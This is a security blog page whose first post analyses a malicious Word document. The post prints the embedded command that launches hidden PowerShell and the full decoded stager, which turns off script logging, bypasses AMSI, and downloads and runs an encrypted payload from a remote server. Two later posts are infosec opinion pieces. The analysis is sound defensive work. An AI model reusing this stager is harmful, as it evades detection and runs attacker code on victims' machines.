Silicon Shecky: IT News, Opinions, and Reviews

First time for everything

September 14, 2017 By Michael Kavka Leave a Comment

On Tuesday, September 12, 2017 4PM CST, my manager gave me a document called KB1243-Critical-Install.docx to analyze. This document is a self executing zip file using a docx type, with an embedded OLE binary object that executes, contacts an external site, and downloads a payload. I ended my analysis about 11AM CST 9-13-2017. Below is a more detailed explanation of how I came to these conclusions.

Detailed Analysis

Initially, I took the file straight into a Kali VM that I use for checking potentially malicious items. Trying to just open the docx file gave me an archiver error due to the file type. This led me to open a terminal and do an unzip on the file using the following unzip KB1243-Critical-Install.docx. Unzipping gave me 3 directories and an XML file:

The folder docProps gave me 2 xml files, the directory _rels was empty, but the word directory was where the real fun began. Inside this directory I saw the following:

The media folder contained 3 images and an emf file, with one of the images being the company logo and the other being an image of a security warning screen:

The real finding was in the embeddings folder which had one item in named oleObect1.bin which raised my suspicions even more.

The next step was to see what was contained inside this binary file. A little research turned up a piece of free software called oledump. It is a python program, “oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.” Perfect. Once I downloaded oledump onto my Kali VM I ran it against the full docx file. The results were:

The A2 stream would be what I was looking for, as the A1 was a header and A3 was just info on the object itself. The Size and the O marking (for object) are the tip off. This prompted me ot do the following command:

So it would not give me the information using oledump that I was looking for, but I knew I was onto something. I decided to go old school and just cat the oldObject1.bin file to see if I would get anything of interest.

There are some interesting items in there. The padded opening states that it is an Ole10Native object. Then there was this line:

OLE PackagPackage?9?q@?KB1243-Install.batC:\Users\brikut01\Desktop\KB1243-Install.bat8C:\Users\brikut01\AppData\Local\Temp\KB1243-Install.batstart /b powershell -noP -sta -w 1 –enc

So this file first off is going to run a Bat file, that was at one point on a user named brikut01’s machine (username is not in our AD therefore is something on the creators side) . This also starts powershell from a command line with NoProfile (-noP), a single thread (-sta), the –w 1 hides the session and the –enc which accepts base-64 encoded string version of a command. The Encoding makes sense considering the long obfuscate string following ends in == which is a tell tale sign of base64 encoding. The last line deletes the .bat file itself thereby trying to leave no trace.

Thankfully there are tools to decode base64 encoding. Using one of these tools it revealed the following:

$grouppolicysettings = [ref].assembly.gettype(‘system.management.automation.utils’).”getfie`ld”(‘cachedgrouppolicysettings’, ‘n’+’onpublic,static’).getvalue($null);$grouppolicysettings[‘scriptb’+’locklogging’][‘enablescriptb’+’locklogging’] = 0;$grouppolicysettings[‘scriptb’+’locklogging’][‘enablescriptblockinvocationlogging’] = 0;[ref].assembly.gettype(‘system.management.automation.amsiutils’)|?{$_}|%{$_.getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)};[system.net.servicepointmanager]::expect100continue=0;$wc=new-object system.net.webclient;$u=’mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like gecko’;$wc.headers.add(‘user-agent’,$u);$wc.proxy=[system.net.webrequest]::defaultwebproxy;$wc.proxy.credentials = [system.net.credentialcache]::defaultnetworkcredentials;$k=[system.text.encoding]::ascii.getbytes(‘=z#,ecdv]-9oe<;d*!bi8r%k(owr65au’);$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;$s[$i],$s[$h]=$s[$h],$s[$i];$_-bxor$s[($s[$i]+$s[$h])%256]}};$wc.headers.add(“cookie”,”session=2xrm2yvyojcwdr0lzhrwmlxvp44=”);$ser=’http://xxx.xxx.xxx.xxx:80′;$t=’/login/process.php’;$data=$wc.downloaddata($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[char[]](& $r $data ($iv+$k))|iex<br /><br />

This boils down to setting a Group Policy to stop logging, what is an AMSI (Assembly Management System) bypass, grabbing the default web proxy credentials, setting a cookie, and putting it all together to send to an IP address via http so it can be tracked and download something from the IP address. I did not download the payload to see what it was. The final 3 letters, iex invokes the expression.

I checked on the IP address and found it pointed to VPS. I was later given 2 more files to look at which used the same code, but different IP addresses to the same VPS.

Update: Trying to get the file this was supposed to download came back with a 500 error from the server.

Practice What You Preach

August 4, 2017 By Michael Kavka Leave a Comment

Over the last week, the infosec community has had a hard lesson thrown at it. Are we going to actually learn from it though?

We are self righteous, our community, the world of infosec. We preach, make fun of, pick on, slam, and do just about anything else negative about how things get handled. We forget that we are human also, with the same tendencies. We refuse to see it, we feel we are above it, but we are not. It is a huge security hole in our world, and one that can be exploited. This reared its head in a large way with the whole Marcus Hutchins (aka: @MalwareTechBlog) situation.

Think about it, when a new breach is announced, and immediately attributed to X group or Y country what is our reaction? We laugh about it, make fun of it, joke about it. How many times on twitter have we playes the Russian/Chinese/North Korean hacker line? How often have we bitched about how fast the government lays blame on a certain group/country for hacking? How often do we say we must wait until we have more information and a better analysis? How well did we do all this with Marcus’s situation? We failed.

We failed and failed in a big way. I am not saying he is guilty or innocent, that will come out later, but our reaction to events was very telling. First we got wrapped up in not knowing why he was picked up and being held by the FBI. Wanting to know is fine, we wanted the information, but we started (and some continue) on a breach of trust issue with the Feds because of this. We started yelling for his freedom, he did not do anything wrong we claimed and he has only helped us with things like the kill switch for wannacry. Then when the indictment came out we started splintering some jumping on he didn’t do this, he could not have done this, all the way to how could he have done this. Still we had those that were just out and out blaming the FBI for bungling it and breaking trust. Yet, the FBI did nothing wrong, in fact they even respected the supposed “safe zone” of Defcon 25 (if it actually is treated as such). They waited until he was in the airport, a much easier place to make an arrest with less fuss. They held and arraigned in the normal legal time frame (24 hours from what I have been told). Yet we went off the rails because he is one of our own. We lost focus, we showed that our paranoia can be used against us.

Think about it. Let us say someone wanted to manipulate us, so we were looking in the wrong direction. The cock up not just one thing like an arrest, but an arrest, a fake malware situation, and maybe a couple other things. Our emotions start running high because of the arrest, we are so caught up in those emotions that we make mistakes on the malware and send out a huge warning because we are not thinking straight. Now, while everyone, media, corps, us, are focused on these things, a slower, stealthier attack happens. One that say brings down a power grid, messes up the 911 system, or the like. Something we could have noticed, or better yet that the Feds noticed and tried to get our help about. Where were we, the defenders? Where were we, the experts?

It really comes down to a case of practicing what we preach. It is fine to speculate and question, but to go off half cocked without all the information, in the first few minutes (ala notpetya) or hours is bad form. We are hacker/infosec. We are great are digging into things and understanding/breaking them to make them better. Something like Marcus’s situation needs to be looked at the same way we would approach a breach or worm outbreak. Put the emotions on the shelf and analyze then reassess as more information comes in. In other words, Practice what we preach.

In our own sandbox

July 20, 2017 By Michael Kavka Leave a Comment

We all do it. We are so caught up in what we do, and what we are, we give what seems to be good advice, but really is impractical advice. The world of Information Security is all about a balance that reduces risk while still allowing productivity, and we service, that is right SERVICE not only the company, but the end users.

The latest round of Cisco WebEx vulnerabilities produced a lot of the same advice. Patch now, make sure you are patched, please patch etc… you know the usual advice. Then I come across this on my feed:

Running WebEx in a VM seems like sound advice, almost a no brainer. Almost, is the key word. Let’s look at this from a more realistic perspective.

First, how many normal, everyday, end users that you know of can spin up a VM? Not many, which immediately makes this advice not practical for the every day person. Then add on licensing of the OS, driver compatibility for sound and video, memory amount and processor specs. All of that can create an issue too. So the theoretical secure answer of “Use a VM” becomes rather impractical overall.

Now, what implementing this solution might do is create a backlash from the sales force, the C level executives and possibly more. Add on that there is still nothing preventing them from not using the VM, and instead just using their desktop. What have we done? Basically given our department a black eye. Shown that we are not thinking of the needs of the people we service, let alone the company at large.

We do this all the time. I see solutions posted for different things, that just do not seem practical from a different perspective. Even patching can be detrimental, especially with legacy software which is why patch testing is important. The thing we need to do is work across the business units, talk with them, find people willing to try what might be an impractical solution if we really want to push for it. We need to get into the heads of the normal user and think like them. I use the (grand)parent test mentally. Is this something I can see my parents or grandparents who are non-IT people use. If not, then throw it in the impractical pile and find a different solution.

In the perfect world, our solutions should have little to no visibility to the end user when working properly. Reality is that this might not be possible, but we can still strive for it. We need to learn that the end user is not a burden, they are the reason we have jobs in this field in the first place.